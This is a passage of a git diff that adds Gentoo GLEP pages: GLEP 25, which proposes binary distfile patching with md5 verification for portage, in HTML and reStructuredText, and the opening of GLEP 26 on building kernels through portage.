+includes <strong>both</strong> the original line, and the modified line.  The author isn't
+aware of any binary differencer that is able to create patches the can be
+reversed- basically they're unidirectional, the patch that is generated can
+only be used to upgrade or downgrade the version, not both.  The plus side of
+this limitation is a significantly decreased patch size.</p>
+<p>The choice of binary patches over diff patches pretty much comes down to the
+fact they're smaller- example being a kdelibs binary patch for 3.1.4-&gt;3.1.5 is
+75kb, the equivalent diff patch is 123kb, and is unable to result in a correct
+md5 <a class="footnote-reference" href="#id4" id="id1" name="id1">[1]</a>.</p>
+<p>Currently, this glep is proposing only the usage of binary patches- that's not
+to say (with a fair amount of work) it couldn't be extended to support
+standard diffs.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="rationale" name="rationale">Rationale</a></h1>
+<p>The difference between source releases typically isn't very large, especially
+for minor releases.  As an example, kdelibs-3.1.4.tar.bz2 is 10.53 MB, and
+kdelibs-3.1.5.tar.bz2 is 10.54 MB.  A bzip2'ed patch between those versions is
+75.6 kb <a class="footnote-reference" href="#id5" id="id2" name="id2">[2]</a>, less then 1% the size of 3.1.5's tbz2.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="specification" name="specification">Specification</a></h1>
+<p>Quite a few sections of gentoo are affected- mirroring, the portage tree, and
+portage itself.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id13" id="additions-to-the-tree" name="additions-to-the-tree">Additions to the tree</a></h2>
+<p>For adding patch info into the tree, this glep proposes a global patch list
+(stored in profiles as patches.global), and individual patch lists stored in
+relevant package directories (named patches).  Using the kernel packages as an
+example, a global list of patches enables us to create a patch once, add an
+entry, and have all kernel packages benefit from that single entry.  Both
+patches.global, and individual package patch files share the same format:</p>
+<pre class="literal-block">
+MD5 md5-value patch-url size MD5 md5-value ref-file size UMD5 md5-value new-file size
+</pre>
+<p>For those familiar with digest file layout, this should look familiar.
+Essentially, chksum type, value, filename, size.  The UMD5 chksum type is just
+the uncompressed md5/size of the file- so if the UMD5 were for a bzip2
+compressed file, it would be the md5 value/size of the uncompressed file.
+And an example:</p>
+<pre class="literal-block">
+MD5 ccd5411b3558326cbce0306fcae32e26 http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5.patch.bz2 75687 MD5 82c265de78d53c7060a09c5cb1a78942 kdelibs-3.1.4.tar.bz2 10537433 UMD5 0b1908a51e739c07ff5a88e189d2f7a9 kdelibs-3.1.5.tar.bz2 48056320
+</pre>
+<p>In the above example, the md5sum of
+<a class="reference" href="http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5.patch.bz2">http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5.patch.bz2</a> is
+calculated, compared to the stored value, and then the file size is checked.
+The one difference is the UMD5 checksum type- the md5 value and the size are
+specific to the <em>uncompressed</em> file.  Continuing, for cases where the patch
+will reside on one of our mirrors, the patch filename would be sufficient.</p>
+<p>Finally, note that this is a unidirectional patch- using the above example,
+kdelibs-3.1.4-3.1.5 can <strong>only</strong> be used to upgrade from 3.1.4 to 3.1.5, not
+in reverse (originally explained in <a class="reference" href="#binary-patches-vs-gnudiff-patches">Binary patches vs GNUDiff patches</a>).</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id14" id="portage-implementation" name="portage-implementation">Portage Implementation</a></h2>
+<p>This glep proposes the patching support should be (at this stage) optional-
+specifically, enabled via FEATURES=&quot;patching&quot;.</p>
+<div class="section">
+<h3><a class="toc-backref" href="#id15" id="fetching" name="fetching">Fetching</a></h3>
+<p>When patching is enabled, the global patch list is read, and the packages
+patch list is read.  From there, portage determines what files could be used
+as a base for patching to the desired file- further, determining if it's
+actually worth patching (case where it wouldn't be is when the target file is
+less then the sum of the patches needed).  Any patches to be used are fetched,
+and md5 verified.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id16" id="reconstruction" name="reconstruction">Reconstruction</a></h3>
+<p>Upon fetching and md5 verification of patch(es), the desired file is
+reconstructed.  Assuming reconstruction didn't return any errors, the target
+file has its uncompressed md5sum calculated and verified, then is recompressed
+and the compressed md5sum calculated.  At this point, if the compressed md5
+matches the md5 stored in the tree, then portage transfers the file into
+distfiles, and continues on it's merry way.</p>
+<p>If the compressed md5 is different from the tree's value, then the (proposed)
+md5 database is updated with new compressed md5.  Details of this database
+(and the issue it addresses) follow.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id17" id="compressed-md5sums" name="compressed-md5sums">Compressed MD5sums:</a></h3>
+<p>There will be instances where a file is reconstructed perfectly, recompressed,
+and the recompressed md5sum differs from what is stored in the tree- the
+problem is that the md5sum of a compressed file is inherently tied to the
+compressor version/options used to compress the original source.</p>
+<div class="section">
+<h4><a class="toc-backref" href="#id18" id="the-problem-in-detail" name="the-problem-in-detail">The Problem in Detail</a></h4>
+<p>A good example of this problem is related to bzip2 versions used for
+compression.  Between bzip2 0.9x and bzip2 1.x, there was a subtle change in
+the compressor resulting in a slightly better compression result- end result
+being a different file, eg a different md5sum.  Assuming compressor versions
+are the same, there also is the issue of what compression level the target
+source was originally compressed at- was it compressed with -9, -8 or -7?
+That's just a sampling of the various original settings that must be accounted
+for, and that's limited to gzip/bzip2; other compressors will add to the
+number of variables to be accounted for to produce an exact recreation of the
+compressed md5sum.</p>
+<p>Tracking the compressor version and options originally used isn't really a
+valid option- assuming all options were accounted for, clients would still be
+required to have multiple versions of the same compressor installed just for
+the sake of recreating a compressed md5sum <em>even though</em> the uncompressed
+source's md5 has already been verified.</p>
+</div>
+<div class="section">
+<h4><a class="toc-backref" href="#id19" id="the-proposed-solution" name="the-proposed-solution">The Proposed Solution</a></h4>
+<p>The creation of a clientside flatfile/db of valid alternate md5/size pairs
+would enable portage to handle perfectly reconstructed files, that have a
+different md5sum due to compression differences.  The proposed format is thus:</p>
+<pre class="literal-block">
+MD5 md5sum orig-file size MD5 md5sum [ optional new-name ] size
+</pre>
+<p>Example:</p>
+<pre class="literal-block">
+MD5 984146931906a7d53300b29f58f6a899 OOo_1.0.3_source.tar.bz2 165475319 MD5 0733dd85ed44d88d1eabed704d579721 165444187
+</pre>
+<p>An alternate md5/size pair for a file would be added <strong>only</strong> when the
+uncompressed source's md5/size has been verified, yet upon recompression the
+md5 differs.  For cleansing of older md5/size pairs from this db, a utility
+would be required- the author suggests the addition of a distfiles-cleaning
+utility to portage, with the ability to also cleanse old md5/size pairs when
+the file the pair was created for no longer exists in distfiles.</p>
+<p>Where to store the database is debatable- /etc/portage or /var/cache/edb are
+definite options.</p>
+<p>The reasoning for allowing for an optional new-name is that it provides needed
+functionality should anyone attempt to extend portage to allow for clients to
+change the compression used for a source (eg, recompress all gzip files as
+bzip2).  Granted, no such code or attempt has been made, but nothing is lost
+by  leaving the option open should the request/attempt be made.</p>
+<p>A potential gotcha of adding this support is that in environments where the
+distfiles directory is shared out to multiple systems, this db must be shared
+also.</p>
+</div>
+</div>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id20" id="distfile-mirror-additions" name="distfile-mirror-additions">Distfile Mirror Additions</a></h2>
+<p>One issue of contention is where these files will actually be stored.  As of
+the writing of this glep, a full distfiles mirror is roughly around 40 gb- a
+rough estimate by the author places the space requirements for patches for
+each version at a total of around 4gb.  Note this isn't even remotely a hard
+figure yet, and a better figure is being checked into currently.</p>
+<p>Regardless of the exact space figure, finding a place to store the patches
+will be problematic.  Expansion of the required mirror space (essentially just
+swallowing the patches storage requirement) is unlikely, since it was one of
+the main arguements against the now defunct glep9 attempt <a class="footnote-reference" href="#id5" id="id3" name="id3">[2]</a>.  A couple of
+ideas that have been put forth to handle the additional space requirements are
+as follows-</p>
+<p>1)      Identification of mirrors willing to handle the extra space requirements-
+essentially create an additional patch mirror tier.</p>
+<p>2)      Mirroring only a patch for certain package versions, rather then full
+source.  Using kdelibs-3.1.5 as an example, only the patch would be mirrored
+(rather then the full 10.53 MB source).  Downside to this approach is that a
+user who is downloading kdelibs for the first time would either need to pull
+it from the original SRC_URI (placing the burden onto the upstream mirror), or
+pull the 3.1.4 version, and the patch- pulling 63k more then if they had just
+pulled the full version.  The kdelibs 3.1.4/3.1.5 example is something of an
+optimal case- not all versions will have such miniscule patches.</p>
+<p>3)      A variation on the idea above, essentially mirroring only the patch for
+the oldest version(s) of a package; eg, kdelibs currently has version 3.05,
+3.1.5, 3.2.0, and 3.2.1- the mirrors would only carry a patch for 3.05, not
+full source (think RESTRICT=&quot;fetch&quot;).  One plus to this is that patches to
+downgrade in version are smaller then the patches to upgrade in version- there
+are exceptions to this, but they're hard to find.  A major downside to this
+approach is A) a user would have to sync up to get the patchlists for that
+version, B) creation of a set of patches to go backwards in version (see
+<a class="reference" href="#binary-patches-vs-gnudiff-patches">Binary patches vs GNUDiff patches</a>)..</p>
+<p>Of the options listed above, the first is the easiest, although the second
+could be made to work.  Feedback and any possible alternatives would be
+greatly appreciated.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id21" id="patch-creation" name="patch-creation">Patch Creation</a></h2>
+<p>Maintenance of patch lists, and the actual patch creation ought to be managed
+by a high level script- essentally a dev says &quot;I want a patch between this
+version, and that version: make it so&quot;, the script churns away
+creating/updating the patch list, and generating the patch locally.  The
+utility next uploads the new patch to /space/distfiles-local on dev.gentoo.org
+(exempting if it's not a locally generated patch), and repoman is used to
+commit the updated patch list.</p>
+<p>What would be preferable (although possibly wishful thinking), is if hardware
+could be co-opted for automatic patch generation, rather then forcing it upon
+the devs- something akin to how files are pulled onto the mirror automatically
+for new ebuilds.</p>
+<p>The initial bulk of patches to get will be generated by the author, to ease
+the transition and offer patches for people to test out.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id22" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>As noted in <a class="reference" href="#the-proposed-solution">The Proposed Solution</a>, a system using patching and sharing out
+it's distfiles must share out it's alternate md5 db.  Any system that uses the
+distfiles share must support the alternate md5 db also.  If this is considered
+enough of an issue, it is conceivable to place reconstructed sources with an
+alternate md5 into a subdirectory of distdir- portage only looks within
+distdir, unwilling to descend into subdirectories.</p>
+<p>Also note that <a class="reference" href="#distfile-mirror-additions">Distfile Mirror Additions</a> may add additional backwards
+compatibility issues, depending on what solution is accepted.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id23" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>TODO</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id24" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id4">[1]</a></td><td><a class="reference" href="http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5">http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5</a>.{patch,diff}.bz2.</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id5">[2]</a></td><td><em>(<a class="fn-backref" href="#id2">1</a>, <a class="fn-backref" href="#id3">2</a>)</em> kdelibs-3.1.4-3.1.5.patch.bz2, switching format patch, created via diffball-0.4_pre4 (diffball is available at <a class="reference" href="http://sourceforge.net/projects/diffball">http://sourceforge.net/projects/diffball</a>)
+Bzip2 -9 compressed, the patch is 75,687 bytes, uncompressed it is 337,649 bytes.  The patch is available at <a class="reference" href="http://dev.gentoo.org/~ferringb/kdelibs-3.1.4-3.1.5.patch.bz2">http://dev.gentoo.org/~ferringb/kdelibs-3.1.4-3.1.5.patch.bz2</a> for those curious.</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id6" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id6">[3]</a></td><td>Glep9, 'Gentoo Package Update System'
+(<a class="reference" href="http://glep.gentoo.org/glep-0009.html">http://glep.gentoo.org/glep-0009.html</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id25" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0025.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0025.txt b/xml/htdocs/proj/en/glep/glep-0025.txt
new file mode 100644
index 00000000..6debc6a3
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0025.txt
@@ -0,0 +1,295 @@
+GLEP: 25
+Title: Distfile Patching Support
+Version: $Revision: 1.3 $
+Last-Modified: $Date: 2005/04/01 01:32:19 $
+Author:	Brian Harring <ferringb@gentoo.org>
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 6-Mar-2004
+Post-History: 4-Apr-2004, 11-Nov-2004
+
+Abstract
+========
+
+The intention of this GLEP is to propose the creation of patching support for
+portage, and iron out the implementation details.
+
+Status
+======
+
+Timed out
+
+
+Motivation
+==========
+
+Reduce the bandwidth load placed on our mirrors by decreasing the amount of
+bytes transferred when upgrading between versions.  Side benefit of this is to
+significantly decrease the download requirements for users lacking broadband.
+
+Binary patches vs GNUDiff patches
+=================================
+
+Most people are familiar with diff patches (unified diff for example)- this
+glep is specifically proposing the use of an actual binary differencer.  The
+reason for this is that diff patches are line based- you change a single
+character in a line, and the whole line must be included in the patch.  Binary
+differencers work at the byte level- it encodes just that byte.  In that
+respect binary patches are often much more efficient then diff patches.
+
+Further, the ability to reverse a unified patch is due to the fact the diff
+includes **both** the original line, and the modified line.  The author isn't
+aware of any binary differencer that is able to create patches the can be
+reversed- basically they're unidirectional, the patch that is generated can
+only be used to upgrade or downgrade the version, not both.  The plus side of
+this limitation is a significantly decreased patch size.
+
+The choice of binary patches over diff patches pretty much comes down to the
+fact they're smaller- example being a kdelibs binary patch for 3.1.4->3.1.5 is
+75kb, the equivalent diff patch is 123kb, and is unable to result in a correct
+md5 [1]_.
+
+Currently, this glep is proposing only the usage of binary patches- that's not
+to say (with a fair amount of work) it couldn't be extended to support
+standard diffs.
+
+Rationale
+=========
+
+The difference between source releases typically isn't very large, especially
+for minor releases.  As an example, kdelibs-3.1.4.tar.bz2 is 10.53 MB, and
+kdelibs-3.1.5.tar.bz2 is 10.54 MB.  A bzip2'ed patch between those versions is
+75.6 kb [2]_, less then 1% the size of 3.1.5's tbz2.
+
+Specification
+=============
+
+Quite a few sections of gentoo are affected- mirroring, the portage tree, and
+portage itself.
+
+Additions to the tree
+---------------------
+
+For adding patch info into the tree, this glep proposes a global patch list
+(stored in profiles as patches.global), and individual patch lists stored in
+relevant package directories (named patches).  Using the kernel packages as an
+example, a global list of patches enables us to create a patch once, add an
+entry, and have all kernel packages benefit from that single entry.  Both
+patches.global, and individual package patch files share the same format:
+
+::
+
+	MD5 md5-value patch-url size MD5 md5-value ref-file size UMD5 md5-value new-file size
+
+For those familiar with digest file layout, this should look familiar.
+Essentially, chksum type, value, filename, size.  The UMD5 chksum type is just
+the uncompressed md5/size of the file- so if the UMD5 were for a bzip2
+compressed file, it would be the md5 value/size of the uncompressed file.
+And an example:
+
+::
+
+	MD5 ccd5411b3558326cbce0306fcae32e26 http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5.patch.bz2 75687 MD5 82c265de78d53c7060a09c5cb1a78942 kdelibs-3.1.4.tar.bz2 10537433 UMD5 0b1908a51e739c07ff5a88e189d2f7a9 kdelibs-3.1.5.tar.bz2 48056320
+
+In the above example, the md5sum of
+http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5.patch.bz2 is
+calculated, compared to the stored value, and then the file size is checked.
+The one difference is the UMD5 checksum type- the md5 value and the size are
+specific to the *uncompressed* file.  Continuing, for cases where the patch
+will reside on one of our mirrors, the patch filename would be sufficient.  
+
+Finally, note that this is a unidirectional patch- using the above example,
+kdelibs-3.1.4-3.1.5 can **only** be used to upgrade from 3.1.4 to 3.1.5, not
+in reverse (originally explained in `Binary patches vs GNUDiff patches`_).
+
+Portage Implementation
+----------------------
+
+This glep proposes the patching support should be (at this stage) optional-
+specifically, enabled via FEATURES="patching".
+
+Fetching
+''''''''
+
+When patching is enabled, the global patch list is read, and the packages
+patch list is read.  From there, portage determines what files could be used
+as a base for patching to the desired file- further, determining if it's
+actually worth patching (case where it wouldn't be is when the target file is
+less then the sum of the patches needed).  Any patches to be used are fetched,
+and md5 verified.
+
+Reconstruction
+''''''''''''''
+
+Upon fetching and md5 verification of patch(es), the desired file is
+reconstructed.  Assuming reconstruction didn't return any errors, the target
+file has its uncompressed md5sum calculated and verified, then is recompressed
+and the compressed md5sum calculated.  At this point, if the compressed md5
+matches the md5 stored in the tree, then portage transfers the file into
+distfiles, and continues on it's merry way.
+
+If the compressed md5 is different from the tree's value, then the (proposed)
+md5 database is updated with new compressed md5.  Details of this database
+(and the issue it addresses) follow.
+
+Compressed MD5sums: 
+'''''''''''''''''''
+
+There will be instances where a file is reconstructed perfectly, recompressed,
+and the recompressed md5sum differs from what is stored in the tree- the
+problem is that the md5sum of a compressed file is inherently tied to the
+compressor version/options used to compress the original source.  
+
+=====================
+The Problem in Detail
+=====================
+
+A good example of this problem is related to bzip2 versions used for
+compression.  Between bzip2 0.9x and bzip2 1.x, there was a subtle change in
+the compressor resulting in a slightly better compression result- end result
+being a different file, eg a different md5sum.  Assuming compressor versions
+are the same, there also is the issue of what compression level the target
+source was originally compressed at- was it compressed with -9, -8 or -7?
+That's just a sampling of the various original settings that must be accounted
+for, and that's limited to gzip/bzip2; other compressors will add to the
+number of variables to be accounted for to produce an exact recreation of the
+compressed md5sum.
+
+Tracking the compressor version and options originally used isn't really a
+valid option- assuming all options were accounted for, clients would still be
+required to have multiple versions of the same compressor installed just for
+the sake of recreating a compressed md5sum *even though* the uncompressed
+source's md5 has already been verified.
+
+=====================
+The Proposed Solution
+=====================
+
+The creation of a clientside flatfile/db of valid alternate md5/size pairs
+would enable portage to handle perfectly reconstructed files, that have a
+different md5sum due to compression differences.  The proposed format is thus:
+
+::
+
+	MD5 md5sum orig-file size MD5 md5sum [ optional new-name ] size
+
+Example:
+
+::
+
+	MD5 984146931906a7d53300b29f58f6a899 OOo_1.0.3_source.tar.bz2 165475319 MD5 0733dd85ed44d88d1eabed704d579721 165444187
+
+An alternate md5/size pair for a file would be added **only** when the
+uncompressed source's md5/size has been verified, yet upon recompression the
+md5 differs.  For cleansing of older md5/size pairs from this db, a utility
+would be required- the author suggests the addition of a distfiles-cleaning
+utility to portage, with the ability to also cleanse old md5/size pairs when
+the file the pair was created for no longer exists in distfiles.
+
+Where to store the database is debatable- /etc/portage or /var/cache/edb are
+definite options.
+
+The reasoning for allowing for an optional new-name is that it provides needed
+functionality should anyone attempt to extend portage to allow for clients to
+change the compression used for a source (eg, recompress all gzip files as
+bzip2).  Granted, no such code or attempt has been made, but nothing is lost
+by  leaving the option open should the request/attempt be made.
+
+A potential gotcha of adding this support is that in environments where the
+distfiles directory is shared out to multiple systems, this db must be shared
+also.
+
+
+
+Distfile Mirror Additions
+-------------------------
+
+One issue of contention is where these files will actually be stored.  As of
+the writing of this glep, a full distfiles mirror is roughly around 40 gb- a
+rough estimate by the author places the space requirements for patches for
+each version at a total of around 4gb.  Note this isn't even remotely a hard
+figure yet, and a better figure is being checked into currently.
+
+Regardless of the exact space figure, finding a place to store the patches
+will be problematic.  Expansion of the required mirror space (essentially just
+swallowing the patches storage requirement) is unlikely, since it was one of
+the main arguements against the now defunct glep9 attempt [2]_.  A couple of
+ideas that have been put forth to handle the additional space requirements are
+as follows- 
+
+1)	Identification of mirrors willing to handle the extra space requirements-
+essentially create an additional patch mirror tier.
+
+2)	Mirroring only a patch for certain package versions, rather then full
+source.  Using kdelibs-3.1.5 as an example, only the patch would be mirrored
+(rather then the full 10.53 MB source).  Downside to this approach is that a
+user who is downloading kdelibs for the first time would either need to pull
+it from the original SRC_URI (placing the burden onto the upstream mirror), or
+pull the 3.1.4 version, and the patch- pulling 63k more then if they had just
+pulled the full version.  The kdelibs 3.1.4/3.1.5 example is something of an
+optimal case- not all versions will have such miniscule patches.
+
+3)	A variation on the idea above, essentially mirroring only the patch for
+the oldest version(s) of a package; eg, kdelibs currently has version 3.05,
+3.1.5, 3.2.0, and 3.2.1- the mirrors would only carry a patch for 3.05, not
+full source (think RESTRICT="fetch").  One plus to this is that patches to
+downgrade in version are smaller then the patches to upgrade in version- there
+are exceptions to this, but they're hard to find.  A major downside to this
+approach is A) a user would have to sync up to get the patchlists for that
+version, B) creation of a set of patches to go backwards in version (see
+`Binary patches vs GNUDiff patches`_)..  
+
+Of the options listed above, the first is the easiest, although the second
+could be made to work.  Feedback and any possible alternatives would be
+greatly appreciated.
+
+Patch Creation
+--------------
+
+Maintenance of patch lists, and the actual patch creation ought to be managed
+by a high level script- essentally a dev says "I want a patch between this
+version, and that version: make it so", the script churns away
+creating/updating the patch list, and generating the patch locally.  The
+utility next uploads the new patch to /space/distfiles-local on dev.gentoo.org
+(exempting if it's not a locally generated patch), and repoman is used to
+commit the updated patch list.
+
+What would be preferable (although possibly wishful thinking), is if hardware
+could be co-opted for automatic patch generation, rather then forcing it upon
+the devs- something akin to how files are pulled onto the mirror automatically
+for new ebuilds.  
+
+The initial bulk of patches to get will be generated by the author, to ease
+the transition and offer patches for people to test out.
+
+Backwards Compatibility
+=======================
+
+As noted in `The Proposed Solution`_, a system using patching and sharing out
+it's distfiles must share out it's alternate md5 db.  Any system that uses the
+distfiles share must support the alternate md5 db also.  If this is considered
+enough of an issue, it is conceivable to place reconstructed sources with an
+alternate md5 into a subdirectory of distdir- portage only looks within
+distdir, unwilling to descend into subdirectories.
+
+Also note that `Distfile Mirror Additions`_ may add additional backwards
+compatibility issues, depending on what solution is accepted.  
+
+Reference Implementation
+========================
+
+TODO
+
+References
+==========
+.. [1] http://dev.gentoo.org/~ferringb/patches/kdelibs-3.1.4-3.1.5.{patch,diff}.bz2.
+.. [2] kdelibs-3.1.4-3.1.5.patch.bz2, switching format patch, created via diffball-0.4_pre4 (diffball is available at http://sourceforge.net/projects/diffball) 
+       Bzip2 -9 compressed, the patch is 75,687 bytes, uncompressed it is 337,649 bytes.  The patch is available at http://dev.gentoo.org/~ferringb/kdelibs-3.1.4-3.1.5.patch.bz2 for those curious.
+.. [3] Glep9, 'Gentoo Package Update System' 
+	(http://glep.gentoo.org/glep-0009.html)
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0026.html b/xml/htdocs/proj/en/glep/glep-0026.html
new file mode 100644
index 00000000..d4c6e732
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0026.html
@@ -0,0 +1,196 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 26 -- Handling kernels with portage</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0026.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">26</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Handling kernels with portage</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0026.txt?cvsroot=gentoo">2004/11/11 21:32:21</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Nathaniel McCallum &lt;npmccallum&#32;&#97;t&#32;gentoo.org&gt;, Joshua Campbell &lt;warpzero&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">2-May-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">2-May-2004, 11-Nov-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#status" id="id3" name="id3">Status</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id6" name="id6">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id7" name="id7">Backwards Compatibility</a></li>
+<li><a class="reference" href="#reference-implementation" id="id8" name="id8">Reference Implementation</a></li>
+<li><a class="reference" href="#copyright" id="id9" name="id9">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP proposes to create a more consistent handling of kernels and kernel building.
+Currently &quot;emerge kernel-name&quot; only installs the sources and does not build anything.
+&quot;emerge kernel-name&quot; should install only sources OR only a binary kernel, its modules,
+and a tarballed package of kernel-headers, depending on USE flag.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status" name="status">Status</a></h1>
+<p>Timed out</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>Currently, the only automated kernel build proceedure that we have is genkernel. While
+genkernel is a great tool, its main weakness is that it does not port well to other
+arches because of the initrd and the lack of good &quot;generic&quot; settings for other arches.
+This GLEP hopes to overcome this by abstracting the various layers of genkernel and
+implementing the most common aspect (the build proceedure) into a portage eclass.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<p>There would be 3 layers to kernel building:             (place of implementation)</p>
+<blockquote>
+<ul class="simple">
+<li>Stage 1 - Configuring the kernel (optional)   -- external utility</li>
+<li>Stage 2 - Building the kernel                         -- in an eclass</li>
+<li>Stage 3 - Building the initrd (optional)      -- in an ebuild</li>
+</ul>
+</blockquote>
+<p>Stages 1 and 3 are optional on most arches.</p>
+<p>Stage 1 would be achieved through a seperate utility (perhaps like the current
+genkernel).  This utility would help the user configure the kernel and any kernel/build
+related settings.  This stage is optional and would only be used if a person wanted a
+customized kernel settings.  One optional thought is to have this utility a part of the
+base Gentoo system.  That way there are less steps to make a custom kernel.</p>
+<p>Stage 2 would be implimented through an eclass.  This stage is not optional.  One would
+perform this step by typing &quot;emerge kernel-name&quot;, where &quot;kernel-name&quot; is the name of
+the kernel package you want to use (ie. &quot;gentoo-dev&quot;).  This package would have a
+&quot;buildkernel&quot; USE flag.  If the flag was not set, it would simply download and install
+sources like we do currently.  However, if the &quot;buildkernel&quot; flag is set, portage will
+perform the following steps:</p>
+<blockquote>
+<ol class="arabic simple">
+<li>(as a dependency) download and install a tarball of &quot;generic&quot; kernel config files.</li>
+<li>Check to see if customized kernel config/settings have been set via Stage 1.</li>
+<li>Portage will use a custom config, if available.  Otherwise, a &quot;generic&quot; config.</li>
+<li>If neither a custom config or a &quot;generic&quot; config is available, die (with message).
+This is needed as some arches don't/can't have &quot;generic&quot; configs, so they will
+simply be presented a message telling them to run the utility from Stage 1 (which
+they obviously skipped).</li>
+<li>Build the kernel and modules and install them</li>
+<li>Remove unnecessary files from the sources and tarball it as &quot;kernel-headers&quot;.
+This tarball provides the appropriate files to build external modules against, like
+nvidia-kernel, etc...  The external modules (when built) will determine the running
+kernel and unpack the appropriate tarball, to build against, then remove the files.</li>
+</ol>
+</blockquote>
+<p>Stage 3 would merely be an ebuild that constructs an initrd image for either the running
+kernel or, lacking a running kernel, the newest kernel installed (by version/date installed?).
+Initrd's can't be used on all arches, so this ebuild can be keyword masked as appropriate.
+The initrd package would also have a &quot;bootsplash&quot; USE flag (on x86, maybe others) that
+would build in bootsplash support.  Any non-default actions desired by the user can be
+handled with the utility from Stage 1.</p>
